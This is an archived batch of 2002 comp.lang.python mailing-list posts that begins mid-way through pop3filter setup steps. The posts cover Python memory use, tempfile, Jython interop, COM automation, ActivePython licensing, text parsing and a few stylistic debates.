in the "pop3" line of your email client. - change your email client to get mail from localhost, rather than whatever pop3 account you're on. Do not change any login settings - the login settings are transparently sent by pop3filter.py - start pop3filter, start email client, query for new mail. (If something goes terribly wrong, send me a bug report, stop pop3filter, reset the changes to the pop3 settings in your email client, and you should be fine again). From jacob at boris.cd.chalmers.se.cd.chalmers.se Fri May 17 12:59:50 2002 From: jacob at boris.cd.chalmers.se.cd.chalmers.se (Jacob Hallen) Date: 17 May 2002 16:59:50 GMT Subject: Multibyte Character Surport for Python References: <7a8E8.41035$CN3.1405517@news2.tin.it> Message-ID: In article <7a8E8.41035$CN3.1405517 at news2.tin.it>, Alex Martelli wrote: >Jacob Hallen wrote: >> I understand the attraction of using your native language for identifiers >> and comments, but it is really the dark side of the source. > >I don't particularly mind about comments. By far most comments I've read >in programs thoughout my life were bogus anyway -- redundant reminders >of what language rules mandate anyway, or obsolete and thus actually >misleading rather than helpful. I wouldn't mind a language-savvy editor's >option to hide or remove all comments - yes, I'd lose something when the >comments are actually up to date AND informative about design intentions, >but all in all I think I'd break even at worst. OTOH, I think identifiers >have a better track record. Yes, a fraction of them are unhelpful or (more >rarely) actively misleading -- more often, however, i find them quite >informative and helpful in understanding what's going on in code. The fact that most comments you have seen are redundant is because people have been poorly taught. A redundant comment is harmful, since it reduces the readability of the code and increases the the risk of having the comment out of date and thus misleading. Comments should either briefly explain what a modular unit of the code does or explain the workings of and reasons for a piece of code that cannot easily be understood by a person with a reasonable knowledge of the programming language used. Identifiers should be the single greatest information bearer in your source code. If it isn't, either your style is horrible or the programming language you are using is horrible. Jacob Hall?n -- From kseehof at neuralintegrator.com Fri May 3 00:03:50 2002 From: kseehof at neuralintegrator.com (Ken Seehof) Date: Thu, 02 May 2002 21:03:50 -0700 Subject: Low level python In-Reply-To: Message-ID: > You guys are scaring me. I don't feel safe on the cutting edge! > > It actually doesn't look that hard using WinDriver (they even have device > drivers written in VB!) > > One prob I have to convince the rent payers: It uses 2-3Mb of RAM when > running! Who wants a 3Mb device driver? > > I remember that deeply embedded python recompile python dropping langauge > features out. Is there an easy way to do this? > > Anyone know how I can reduce the memory footprint of Python? > > Matthew Sherborne Yeah. You could write the operating system in python! That way all the python device drivers won't cost extra :-) But seriously, you should check out Gordon McMillan's work: http://starship.python.net/crew/gmcm/distribute.html - Ken From siegfried.gonzi at kfunigraz.ac.at Sun May 5 08:47:38 2002 From: siegfried.gonzi at kfunigraz.ac.at (Siegfried Gonzi) Date: Sun, 05 May 2002 14:47:38 +0200 Subject: F2PY problems References: Message-ID: <3CD529EA.12D8F206@kfunigraz.ac.at> Pearu Peterson wrote: > That said, I looked at the scipy CVS and found that mingw32-support > needs lib2def but that is part of the weave package. So, as a quick fix, > get lib2def.py file from the scipy/weave directory and put it into > the f2py2e/scipy_distutils directory and reinstall f2py. This should solve > your problem, I hope. So, this actually works but *only* then when you use something like: f2py -c foo.f -m foo Everything else (setup_foo.py, Makefile) is doomed to fail! The above leads to the next question: I have not really grasped whether the foomodule.c file is important, because what the case if I want to compile a Fortran 95 file? I tried it but I get the error message that gnu does not support F 90 or F95. I saw in the "build_flib.py" file that the NAG compiler is supported. I thought the NAG compiler is the Fortran 95 compiler from imagine1 (www.fortran.com/fortran/imagine1/compilers.html). But I think I am in error, because the build_flib.py class doe not find my installed F compiler (C:/.../F/bin/f.exe). I would strongly emphasize my wish list that some expert makes also a support for the F compiler. The F compiler is free for Unix, Linux and Windows (I think there is even an older F 90 compiler for the Macintosh available). I am not aware of other ones but the F compiler is the only free available Fortran 95 compiler. Okay it has one drawback: it is not backward compatible; you are forced to use *only* F90 or F95 constructs (e.g.: "integer :: a", instead of "integer a"); but it is possible (easily) to link to g77 compileable Fortran files and even to gcc compileable ones. Regards, S. Gonzi From tebeka at lycosmail.com Tue May 7 06:13:30 2002 From: tebeka at lycosmail.com (Miki Tebeka) Date: 7 May 2002 03:13:30 -0700 Subject: need unique filename References: <3CD73AE6.82C91293@uni-bielefeld.de> Message-ID: <548ef0ae.0205070213.30e7e6b7@posting.google.com> Hello Marcus, > is there a possibility to create unique filenames to avoid problems if > two files are created at the same time. Have a look at tempfile: http://www.python.org/doc/current/lib/module-tempfile.html HTH. Miki From aahz at pythoncraft.com Thu May 9 14:03:26 2002 From: aahz at pythoncraft.com (Aahz) Date: 9 May 2002 14:03:26 -0400 Subject: Python stagnating? References: Message-ID: In article , Chris wrote: > >What is the status of Python development? Or the supporting >organization? I notice a lot of links in the FAQ and other documents >are outdated/broken, and surfing the web I saw a lot of references to >the "Python Starship" but it looks like it hasn't been updated in a >few years... If you're referring to broken links on python.org, please send e-mail to webmaster at python.org. Starship has been somewhat stagnant for a while, but there's been some recent discussion about reviving it. Python development, of course, is anything but stagnant, as any number of threads complaining about too much change would tell you. ;-) -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ See me at OSCON! I'm teaching Python for [Perl] Programmers, a fast intro for all experienced programmers (not just Perl). Early bird ends June 10. http://conferences.oreillynet.com/os2002/ From siegfried.gonzi at kfunigraz.ac.at Tue May 14 06:28:30 2002 From: siegfried.gonzi at kfunigraz.ac.at (Siegfried Gonzi) Date: Tue, 14 May 2002 12:28:30 +0200 Subject: Upper memory limit Message-ID: <3CE0E6CE.E14291D7@kfunigraz.ac.at> Is there an upper memory limit which Python cannot handle? I have a calculation (external C function included with the help of SWIG; external Fortran function included with the help of F2PY; some pre processed Lisp files; a dozen of binary satellite data files). One run of the code takes about 1 hour. The execution time is not the problem! Memory is not a problem too, but: it consumes after 1 hour 200 MB of RAM. If I start the calculation in the DOS shell I can see that Python gives memory back to the OS (I got the advice to start the calculation from the DOS line), but this is only for 2 runs the case. If I start the calculation for a third time I have to see that Python wreaks havoc. A calculation would then take many, many hours due to the Python memory management and at the end the system is down and I would have to restart it (even on a newer laptop rebooting is not very quick and hence anoying). I need some advice for my further strategy (I am about to write my simulations in Fortran 90/95 and use Python only for simple plotting jobs): a) Has anybody ever experienced the same problem?; I am not angry with the execution time I am sick of the poor memory management behavior. b) Is there semantically speaking a difference between automatic memory managament and garbage collection? c) Dose Python's garbage collector just simply collect and dispose all the memory junks at the end of the calculation (and hence once) or does Python collect garbage and at the same time removing old memory? Maybe Windows's task manager is faulty but when I observe the beforementioned calculation/simulation I can see that Python memory goes up to about 200MB, but I have a calculation of the scheme: function for_a_better world( ... ): a = call_here_function( ... ) b = call_here_function( ... ) c = call_here_function( ... ) ... return erg Note: a,b,c,... essentially call the *same* function but with some minor changes in the parameter list. Why doesn't Python delete the old memory when it comes back from "call_here_function(...)"? It seems that all the used memory in "call_here_function" remains garbage. I tried to use del statements inside of call_here_function() but the scenario goes even worse then. d) Has anybody experience with Python on Linux or free BSD? I would be ready to install Linux in order to get a better Python behavior. S. Gonzi From kragen at pobox.com Wed May 29 21:55:46 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 29 May 2002 21:55:46 -0400 Subject: Why no open(f, "w").write()? References: Message-ID: <83n0uimmal.fsf@panacea.canonical.org> "Delaney, Timothy" writes: > You should never rely on automatic freeing of *any* resources unless it is > guaranteed. Always explicitly free resources when you have finished with > them. You mean, assume you have no garbage collector? If I had to do that, my Python code would get a *lot* more complex. I do believe that relying on timely finalization is a mistake, because every efficient garbage collector fails to perform timely finalization. I hope that someday in the future, CPython can have an efficient garbage collector too. From tim at vegeta.ath.cx Thu May 9 17:52:54 2002 From: tim at vegeta.ath.cx (Tim Hammerquist) Date: Thu, 09 May 2002 21:52:54 GMT Subject: NEVER MIND! References: Message-ID: Delaney, Timothy graced us by uttering: >> From: Peter Hansen [mailto:peter at engcorp.com] >> >> It's no shame to be let down by Microsoft software. > > It's not the shame of being let down by Microsoft software - it's the shame > of *not knowing the capabilities of my tools*. > > Then again ... I cheer myself up by realising that no one can reliably state > what a Microsoft program is capable of ... "Supported" is an MS term that means the function exists. The fact that it always fails means that it is an exercise for the programmer. -- Sarathy, perl5porters > Tim Delaney Cheers! Tim Hammerquist -- This is one of those days which the pages of history teach us are best spent lying in bed. -- Uncle Willie, "The Philidelphia Story" From shagshag13 at yahoo.fr Sat May 25 11:57:22 2002 From: shagshag13 at yahoo.fr (Shagshag) Date: 25 May 2002 08:57:22 -0700 Subject: Memory limit ? Message-ID: <409a56e2.0205250757.16b9f373@posting.google.com> Hello, I've got the following trouble : i've more than 500 mo of data to index. I've made many python scripts to handle this and i would like to know if there is any memory limit that i should take care... (and if Python is able to handle this) On windows, on linux ? Which one should i prefer/avoid ? Does pickle will save an object of more than 200 mo ? Thanks in advance, S13. From ELabuschagne at gims.com Wed May 8 06:08:57 2002 From: ELabuschagne at gims.com (Etienne Labuschagne) Date: Wed, 8 May 2002 12:08:57 +0200 Subject: Python <-> Jython communication Message-ID: I am still looking for a nice and easy solution for communicating between Python and Jython. Here are my experiences so far: XML-RPC : can't get it to work from the Jython side, having problems with especially sending pickled objects (the pickled string specifically) as params Soap : haven't tried it, afraid of same problems as above Sockets : should work - lots of work to implement Corba : sounds good, but have NO experience in it, lots of work Pyro : seems like the solution, but does it work in Jython? Any other suggestions/comments. Assume that I have code that cannot run in Jython and that is why I must still stick to Python in some areas. Assume that I have code that uses Java libs and that is why I must stick to Jython in the other areas. Assume that the code runs on the same machine (so no over the web talking needed). Regards Etienne -------------- next part -------------- An HTML attachment was scrubbed... URL: From marklists at mceahern.com Wed May 22 16:07:28 2002 From: marklists at mceahern.com (Mark McEahern) Date: Wed, 22 May 2002 15:07:28 -0500 Subject: needed Python code In-Reply-To: <0C7CA8D8DF75494EB09AB6016990107F016F5CE3@NOXMAIL.noetixad.com> Message-ID: [Gabe Newcomb] > for line in python_mail_contents: > if line.find('-ly yours'): > stuff_mail_in_garbage(python_mail) Don't you mean: if not line.find('-ly yours'): ;-) Cheers, // mark From peter at engcorp.com Tue May 14 07:59:01 2002 From: peter at engcorp.com (Peter Hansen) Date: Tue, 14 May 2002 07:59:01 -0400 Subject: Zarsus References: <4a7fde99.0205132325.c92ba80@posting.google.com> <3CE0EEFB.6070501@earthlink.net> Message-ID: <3CE0FC05.319EC3D3@engcorp.com> Ron Stephens wrote: > > I dowloaed it from a different site, it wroks fine on my Zaurus. Thre is So would you say "It really wroks!" ? (And shouldn't that be Zarsus, the subject of this thread. :-) -Peter From dkirby at orchestream.com Wed May 1 05:50:59 2002 From: dkirby at orchestream.com (Dave Kirby) Date: Wed, 1 May 2002 10:50:59 +0100 Subject: Python COM Questions Message-ID: <1020246738.540831@lave> The Background: I am trying to write a GUI test automation system using the Microsoft Active Accessibility, which provides a COM interface for controlling the GUI elements of another process. (see http://msdn.microsoft.com/accessibility for details). The problem is that this has a DLL (oleacc.dll) with factory functions to generate COM wrappers for GUI elements, for example: STDAPI AccessibleObjectFromWindow( HWND hwnd, DWORD dwObjectID, REFIID riid, void** ppvObject ); this function creates a IAccessible COM object and writes its address into *ppvObject. The problem is that I can't figure out how to call this function (or any of the others) from Python. The Questions: How do I get Python to access the factory functions? I can see two options: 1) write a C++ Python module, perhaps using SWIG, that exposes the functions. If I do this how do I convert the C++ created COM object into something that Python COM can use? I presume that I need to generate a Python wrapper round it, but I cant find out how to do that. 2) write a COM server that creates a COM factory object with these functions as methods. This would be a more generic solution since it would be usable by any language that uses COM (and IMHO, what MS should have done in the first place). If I do this, I would like to be able to make the COM server InProc, so I dont have to go through the messyness of registering it with Windows. So how do I call an InProc server from Python? 3) Is there any other way to call the dll? I had a brief look at Sam Rushing's calldll module, but there is no documentation for it and I dont know how (or if) it would handle the creation of the COM object. Any help would be greatly appreciated. If I get this working then I will push for my employer to make it open source, so that the Python community can benefit from it. Dave Kirby From trentm at ActiveState.com Tue May 21 14:03:34 2002 From: trentm at ActiveState.com (Trent Mick) Date: Tue, 21 May 2002 11:03:34 -0700 Subject: Couple of Qs: ActiveState or "standard" distribution? (and GUI toolkits) In-Reply-To: ; from whisper@oz.net on Tue, May 21, 2002 at 11:07:02AM -0700 References: <20020521103220.D27244@ActiveState.com> Message-ID: <20020521110334.A9285@ActiveState.com> [David LeBlanc wrote] > You still can't redistribute ActivePython though... True. Here are the relevant parts of the license agreement: http://www.activestate.com/Products/ActivePython/license_agreement.plex 1. You may use this Package for commercial or non-commercial purposes without charge. 2. You may make and give away verbatim copies of this Package for personal use, or for use within your organization, provided that you duplicate all of the original copyright notices and associated disclaimers. You may not distribute copies of this Package, or copies of packages derived from this Package, to others outside your organization without specific prior written permission from ActiveState (although you are encouraged to direct them to sources from which they may obtain it for themselves). -- Trent Mick TrentM at ActiveState.com From markus.vonehr at ipm.fhg.de Fri May 31 09:58:55 2002 From: markus.vonehr at ipm.fhg.de (Markus von Ehr) Date: Fri, 31 May 2002 15:58:55 +0200 Subject: wxPython, py2exe Message-ID: <3CF7819F.5AF9E42D@ipm.fhg.de> Hi, I', using Tkinter right now and would like to change to wxPython for better capabilities (win32). Does the py2exe tool work fine with wxPython? I need graphical support (viewing images, drawing, openGL, etc.), does it work well with wxPython? Thanks for comments, Markus From theller at python.net Mon May 6 11:36:27 2002 From: theller at python.net (Thomas Heller) Date: Mon, 6 May 2002 17:36:27 +0200 Subject: SciPy won't install (Win98) References: <9uwB8.105409$Lj.7956538@bin4.nnrp.aus1.giganews.com> Message-ID: "Gary Pajer" wrote in message news:9uwB8.105409$Lj.7956538 at bin4.nnrp.aus1.giganews.com... > I just downloaded the SciPy installation .exe, and it won't run properly. > The second screen asks me to choose which installation of Python I'd like to > put SciPy in. But the field is blank, and down below in the text control > box, there is a blinking grey cursor, but I can't type anything into the > field. I downloaded it again: no change. This is a 'feature' of distutils' bdist_wininst installer: It only displays those Python versions compatible with the installer. Apparently the scipy guys built it for Python 2.3 (that's the current CVS version in development). But there is hope: If you want to install from a bdist_wininst installer (which gives you the uninstall feature), you can build it yourself. The most convenient way to do this is probably to use this cookbook recipe: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/117248 Thomas From ods at fep.ru Fri May 17 10:17:24 2002 From: ods at fep.ru (Denis S. Otkidach) Date: Fri, 17 May 2002 18:17:24 +0400 (MSD) Subject: PEP 218 Re: ANN: set-0.1 module available In-Reply-To: Message-ID: On Fri, 17 May 2002, Roman Suzi wrote: RS> > We often need a collection that is extended step-by-step RS> avoiding RS> > duplicates. Certainly we can use immutable sets: RS> > RS> > s = {-} RS> > for item in some_sequence: RS> > if is_good(item): RS> > s &= {item} # create new set if it's immutable or RS> just RS> > # add otherwise RS> RS> I think, that is RS> RS> s = set(filter(is_good, some_sequence)) RS> RS> is for. This is OK but inefficient if intermediate list is very large with many duplicates. But there are many situations where no such functional solution (or it's not obvious): def func(item): ... result = {item} result &= func(other_item) # other_item can be already in # result return result and so on. RS> I hope for mutable sets so. I even think, sets could use RS> a generalised member function: RS> RS> N in Integers RS> RS> f in SecureFunctions Python doen't support interfaces. Interface of sequences is defined in documentation only. Should we define set in documentation the same way as object with __contains__? RS> where membership function is substituted. So, set built-in RS> type is more RS> about setting a protocol for set type. At first, RS> implementation doesn't RS> matter much. From eppstein at ics.uci.edu Fri May 24 22:44:29 2002 From: eppstein at ics.uci.edu (David Eppstein) Date: Fri, 24 May 2002 19:44:29 -0700 Subject: Academic citation for Python References: <3CEEE0D8.7030102@bellatlantic.net> <3CEEEE42.60D47318@engcorp.com> Message-ID: In article <3CEEEE42.60D47318 at engcorp.com>, Peter Hansen wrote: > > How should the Python language be cited in an academic publication? > > Doesn't "to cite" mean simply to acknowledge a source of information? > > I don't think you can "cite" a language. Maybe specific facts about > the language, drawn from the "literature" (e.g. www.python.org), but > not "the language" itself. I can't speak for the OP, but I can imagine situations in which I'm writing an academic paper, and want to use Python to describe an algorithm or something, but don't trust my audience to all know Python. So, I'd say that my algorithm was written in Python [1], where the numbered reference points to somewhere people could go to learn what Python is. Is there a canonical source of information or should one just pick one of the intro to Python programming books? -- David Eppstein UC Irvine Dept. of Information & Computer Science eppstein at ics.uci.edu http://www.ics.uci.edu/~eppstein/ From peter at engcorp.com Wed May 22 08:07:55 2002 From: peter at engcorp.com (Peter Hansen) Date: Wed, 22 May 2002 08:07:55 -0400 Subject: Is python really slow? References: <83adqsis0w.fsf@panacea.canonical.org> Message-ID: <3CEB8A1B.B77E889D@engcorp.com> Kragen Sitaker wrote: > > 1. Python is really slow, because it's highly dynamic and because it's > interpreted. This is true of Perl, too. Primitive operations in both > languages are roughly 100 to 1000 times slower than in languages > compiled to machine code. >From no doubt a very different background, my experience has shown the number to be more in the range of 10 to 100 times slower, averaging about 30 times. In fact, the 100 times was usually with non-Pythonic code, written with fairly heavy for-loops and lots of strings being concatenated inefficiently. (In any case, clearly it is lots slower than C.) -Peter From nospam at [127.0.0.1] Fri May 31 03:22:06 2002 From: nospam at [127.0.0.1] (Chris) Date: Fri, 31 May 2002 08:22:06 +0100 Subject: Aliasing? (was Re: Spiral) References: <3CF6B93D.8E607A23@engcorp.com> Message-ID: In article <3CF6B93D.8E607A23 at engcorp.com>, Peter Hansen writes >Chris wrote: >> I've written a small QBASIC program which draws a spiral. Here is the >> code: >> SCREEN 12 >> CLS >> FOR t = 1 TO 400 STEP .01 >> x = .5 * t * COS(t) >> y = .5 * t * SIN(t) >> PSET (x + 320, y + 240) >> NEXT t >> I noticed that it generated some interesting patterns, probably as a >> result of rounding errors. These can be explored further by making the >> spiral tighter. >This sounds a lot like a moire pattern, which is an aspect of the >phenomenon called "aliasing". I found a reasonable explanation of this >and some examples in this PDF: >http://www-2.cs.cmu.edu/afs/andrew/scs/cs/15-463/pub/www/notes/aliasing.pdf >With pixelized graphical output devices, aliasing manifests itself >as strange optical patterns formed when you have closely spaced adjacent >lines which are not vertical or horizontal, and the effect becomes >even more pronounced with certain kinds of curves, perhaps such as >your spirals. Peter - that's fascinating - thanks. I haven't come across Fourier Transforms since crystallography at university! Very interesting. I love these unpredictable visual effects. -- Chris From emile at fenx.com Sun May 19 00:56:07 2002 From: emile at fenx.com (Emile van Sebille) Date: Sun, 19 May 2002 04:56:07 GMT Subject: Parsing a text file for information References: Message-ID: Colin Meeks > I have a text file that is several magabytes in size and would like to > strip it of certain information. The information I want is always > preceeded by > GETTEXT= > and is in itself 18 characters long. Is there a regular expression I > could use to simplify the task. > Here's a way without re's: [ ii[:18] for ii in text.split('GETTEXT=')[1:] ] -- Emile van Sebille emile at fenx.com --------- From magnus at thinkware.se Wed May 15 15:50:28 2002 From: magnus at thinkware.se (Magnus =?ISO-8859-1?Q?Lyck=E5?=) Date: Wed, 15 May 2002 21:50:28 +0200 Subject: PDF creation starting from TIFF files References: Message-ID: <3CE2BC04.9060303@thinkware.se> You can do that with the ReportLab Toolkit. See http://www.reportlab.com/docs/userguide.pdf /Magnus dix wrote: > Hi to all, > > I would like to know if anyone of you has already solved this need: > I have to code an open-source python application that takes as input several > tiff files and convert them in pdf format creating a single pdf file > (page1.tif, page2.tif, page3.tif,....pageN.tif into SingleDocument.pdf). > The conversion to pdf is not enough, I need only the combining of the N > files into a single pdf. > I would like to use just free tools and libraries. > Thank you very much for all the support!! > > dix > > > From aleax at aleax.it Thu May 9 08:27:16 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 09 May 2002 12:27:16 GMT Subject: Multibyte Character Surport for Python References: Message-ID: David LeBlanc wrote: ... > Yes, by all means, use english to describe programs; the built-in syntax, > variable names and program documentation, but enable and encourage the use > of national languages to communicate between the program and the user. ... > Sorry if this sounds contradictory - it's not meant to be at all. Doesn't sound contradictory to me. I want programs easy to localize for operation in any of several locales (language is not the only issue...), though that is un-trivial enough to be a typical characteristics of "professional" programs. But the technical side of things should be accessible to technically-trained personnel from anywhere in the world, and it's reasonable (actually more or less inevitable) to include some nodding acquaintance with English as part of the prereq's for being "technically trained personnel" in programming. Adding the ability to tell tens of thousands of glyphs apart from each other is NOT at all reasonable -- and yet this will be indispensable to make head or tails out of programs in the "brave new world" dreamed of by people who want non-ASCII letters in identifiers. I can't stop them; I can just hope they'll get retribution one day, by needing to, and being unable to, alter or maintain a program entirely using whatever huge set of ideograms they find most impossibly hard to use. By then it will be too late to do anything about it, of course, but maybe I'll get the bitter satisfaction of being able to say "I told you so"... Alex From buzzard at urubu.freeserve.co.uk Sat May 11 10:53:16 2002 From: buzzard at urubu.freeserve.co.uk (Duncan Smith) Date: Sat, 11 May 2002 15:53:16 +0100 Subject: Iterating over the cells of an array? Message-ID: I am interested in the options for handling the following situation. I want to iterate over the cells in a Numeric array. No problem if the rank is fixed. eg. >>> import Numeric >>> a = Numeric.array([[1,2,3],[4,5,6]]) >>> s = a.shape >>> for i in range(s[0]): ... for j in range(s[1]): ... print a[i,j] ... 1 2 etc. >>> But I'm not sure of the 'best' way to handle this for an array of arbitray rank (i.e. where 's' is an arbitrary length sequence of non-negative integers). (I've just started using 2.2.1, so I haven't sussed iterators yet.) I'm sure I can come up with some hack. But I'm trying to improve my programming style. So, anyone any thoughts on this? Do iterators offer a cute way of handling it? Cheers. TIA. Duncan Smith p.s. For one specific problem I will be dealing with very sparse arrays, and I only really want to consider the cells with non-zero values. So any problem-specific advice would also be appreciated. (In this case I would need to return both the value and index of the cell.) :-) From tim.one at comcast.net Sat May 11 13:48:00 2002 From: tim.one at comcast.net (Tim Peters) Date: Sat, 11 May 2002 13:48:00 -0400 Subject: Scope in 2.2.1 In-Reply-To: Message-ID: [David LeBlanc] > ... > I have grown accustomed by long use to the way that C, C++ and Pascal > (and asm for that matter!) become aware of declarations. Since Python doesn't have any declarations, it would be hard for Python to act the same way . It acts "as if" there were a local declaration at the top of a block for every variable that appears in a binding context within the block. > ... > Python seems to have an implicit per block pre-pass that gets all the > bindings before statements are parsed. Is this the correct idea? Pretty much. I think the Ref Man is quite clear about this: Whether a name is local or global in a code block is determined by static inspection of the source text for the code block: in the absence of global statements, a name that is bound anywhere in the code block is local in the entire code block; all other names are considered global. With the introduction of nested scopes, it would be more accurate to change the first and last instances of "global" to "non-local". [Alex] >> def f(x): >> if x==23: x=45 >> print x >> >> the x in the print may reference either the same binding as given by >> f's caller, or the binding to 45. It IS certainly a reference to the >> *local variable* named x, but what binding of that local variable >> applies, it's anybody's guess. "scoping" might be a useful neologism >> here. > gaaaaa! this is mad! How can you write a sane program in this sort of > environment?!? You're misreading Alex here. The name 'x' is local in f, period. But exactly as in C or Pascal or whatever too, at the time you get to the print statement, you can't guess who most recently *assigned* a value to x. If the caller did f(100), then the caller supplied the 100 that gets printed; if the caller did f(23), then the 45 that gets printed was supplied by the "x=45" in f. Alex's point here is more trivial than profound. x is in f's local namespace regardless, but since x is an argument to f, you can't in general guess whether its final binding came from binding x to the value passed from the caller, or from the conditional "x=45". That much is true in virtually all languages with named arguments. From gerhard at bigfoot.de Fri May 3 06:15:18 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: 3 May 2002 10:15:18 GMT Subject: Sleep command References: <3CD25A92.70005@lucent.com> Message-ID: Brian Nulty wrote in comp.lang.python: > The "sleep" command is not working for me in Jython 2.1. The > specification is: > > sleep(30); # to sleep for 30 seconds It certainly is there: gerhard at lilith:~/jython-2.1$ ./jython Jython 2.1 on java1.3.1 (JIT: jitc) Type "copyright", "credits" or "license" for more information. >>> from time import sleep >>> sleep Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From skip at pobox.com Tue May 7 12:34:49 2002 From: skip at pobox.com (Skip Montanaro) Date: Tue, 7 May 2002 11:34:49 -0500 Subject: Lists and split In-Reply-To: <20020507162158.060F25D31@hand.ball.reliam.net> References: <20020507162158.060F25D31@hand.ball.reliam.net> Message-ID: <15576.553.778117.145101@12-248-41-177.client.attbi.com> magni> I want to split an external file into 3 single terms! magni> protocol, host, path for example magni> The file contains urls in form : magni> ftp://home.arcor.de/user/index/ magni> http://www.python.org/index.html Start with the urlparse module. Go from there... -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) From python at dohao.org Mon May 27 00:32:21 2002 From: python at dohao.org (Wenshan Du) Date: 26 May 2002 21:32:21 -0700 Subject: Zope and Website Message-ID: Dear Sir/Madam, I have built a website named Python Wolrd. URL:http://www.dohao.org/python I want to make it an international website focus on Python and Zope, so it needs several local languages. How can I manage contents with only one DTML or page template in different languages ? Therefore, the website display content correspond to their local language when different people view the content with browser, just like visiting the sourceforge.net , automatically redirect to their contents in local language. Thanks a lot. From timr at probo.com Tue May 14 02:01:03 2002 From: timr at probo.com (Tim Roberts) Date: Mon, 13 May 2002 23:01:03 -0700 Subject: OT: Crazy Programming References: <87offlnq3k.fsf@mathdogs.com> <23891c90.0205130956.6f0436a0@posting.google.com> Message-ID: paul at boddie.net (Paul Boddie) wrote: >"Andrew Dalke" wrote: >> >> Since Perl people like the analogy to human languages, it's like me >> saying I drink 'soda's while people in the Midwest drink 'pop'. > >This is one thing I strongly dislike about the "Perl attitude" to >programming, along with the "coding is an art not a science" viewpoint >and the "code is poetry" school of thought. Programming and coding are >(or should mostly be) sciences or engineering practices which we >should strive to get right every time - programmers and developers >are, after all, writing instructions for machines which pretty much >have to do the right thing all the time, not just when it's "cool" to >do so (or not to do so). This is exactly right, and it is an important point. As long as programs continue to be essentially "hand-crafted", we will never be able to build reliable large systems. Only when programming ceases to be art and moves into the realm of engineering -- like building a bridge or a building -- will we get the reliability that we really need in order to create the large systems that the twenty-first century demands. -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From chris.myers at ingenta.com Wed May 15 09:46:21 2002 From: chris.myers at ingenta.com (Christopher Myers) Date: Wed, 15 May 2002 09:46:21 -0400 Subject: How can I convert a string using re.compile References: <11b62679.0205131526.5f1b6fed@posting.google.com> Message-ID: <3CE266AD.A0C9A817@ingenta.com> Emile, I couldn't get your code to work for me, but I found it quite an engaging exercise to make something that did work. Here's what I came up with: def makeNewStr(str): import string var,list=string.split(str,"=") var=string.strip(var) list=string.strip(list) list=list[1:-1] list=string.split(list, ';') newlist=[] for trio in list: numtrio=string.split(trio) numlist="[ " + string.join(string.split(trio), ", ") + " ]" newlist.append(numlist) strlist="[ " + string.join(newlist, ", ") + " ]" newstr= "%s = %s" %(var,strlist) return newstr So, with s = 'a = [1 3.2 -3 ; 4e+3 5e-2 6e+10; 6.2 7 8e+1]' I get: >>> makeNewStr(s) 'a = [ [ 1, 3.2, -3 ], [ 4e+3, 5e-2, 6e+10 ], [ 6.2, 7, 8e+1 ] ]' For a more concise return value, i.e. no spaces in the list, just replace the ", " with "," in the joins and "[ " and " ]" with "[" and "]" respectively in the string concatenations. I had originally tried something using typecasting to ints and floats, and then returning the repr() of the resulting list I created, but that ended up wiping out the scientific notation in those values, so then I decided to work completely using string manipulation, which was more concise anyway. However, while I was playing (yes, this was fun), I ended up writing a function to return a string value of the scientific notation of any string value passed in. Check it out: def makeSci(nstr): from math import fabs import string, re # Strip the decimal, and the exponent part if there str_no_dec = string.replace(nstr, ".", "") str_no_dec = re.split("E|e", str_no_dec)[0] # Here, I need to strip leading and trailing zeros while str_no_dec[0] == "0": str_no_dec=str_no_dec[1:] while str_no_dec[-1] == "0": str_no_dec=str_no_dec[:-1] # precision value to use in the format string precision = len(str_no_dec) - 1 e=0 try: b = float(nstr) except ValueError: return "Error" if fabs(b) < 1: while fabs(b) < 1: b=b*10 e=e-1 else: while fabs(b)>10: b=b/10 e=e+1 if e == 0: return nstr if e < 0: e = `e` else: e = "+"+`e` ret_precision = "%%.%dfe%%s" %precision return ret_precision %(b,e) Please comment (ANYBODY!!) since I thought this was a pretty fun puzzle-type exercise, and I'd love to see more like it. -Chris Emile van Sebille wrote: > > "Emile van Sebille" wrote in message > news:KwYD8.894$Bw6.280 at rwcrnsc51.ops.asp.att.net... > > young-il sohn > > > How can I convert the string 'a = [1 2 3;4 5 6;6 7 8]' > > > to other string 'a = [[1,2,3],[4,5,6],[7,8,9]]' ? > > > > > > Numeric values can have various forms such as 3.2, -4, 3e+3, 3e-2, > > > 3E+10, 3E-2 and so on. Space can be inserted in the list. > > > > Hmm, looks like I didn't quite meet the spec ;-) > > s = 'a = [1 3.2 -3 ; 4e+3 5e-2 6e+10; 6.2 7 8e+1]' > > def nummify(val): > if val.startswith('['): val =val[1:] > if val.endswith(']'): val = val[:-1] > try: > float(val) > return repr(str(val))[1:-1] > except: > raise ValueError > > print `s.split('=')[0]+" = "+`[[nummify(jj) for jj in ii.split()] for ii > in s.split('=')[-1].split(";")]`.replace("'","")` > > This works better. > > -- > > Emile van Sebille > emile at fenx.com > > --------- -- Christopher Myers, Graduate Software Developer Ingenta, Inc. 12 Bassett St. Providence, RI 02903 ph: 401.331.2014 x 102 em: chris.myers at ingenta.com aim: chrismyers001 From usenet at horvath.com Sat May 11 01:40:44 2002 From: usenet at horvath.com (Bob Horvath) Date: Sat, 11 May 2002 00:40:44 -0500 Subject: grokking generators and iterators Message-ID: <3CDCAEDC.2030103@horvath.com> We have a document repository at work whose "database" is a flat text file. The search engine on it is lame, and I want to create a better one, but I need to work with the format that exists. Having recently learned about generators, I thought it might be a good fit, Unfortunately, I am struggling to find an easy way to do it. I am wondering if I just don't grok the new features, or if they aren't a good fix. I don't think it matters what the format is. It is a repeating pattern of 5 lines. How would you suggest writing a generator that spits out 5 line chunks of a file at a time? How would you do it without generators? From sjmachin at lexicon.net Wed May 22 08:40:11 2002 From: sjmachin at lexicon.net (John Machin) Date: 22 May 2002 05:40:11 -0700 Subject: apphelp.dll dependency of python22.dll References: Message-ID: "Achim Domma" wrote in message news:... > "Tim Peters" wrote in message > news:mailman.1022023716.25545.python-list at python.org... > > The PythonLabs 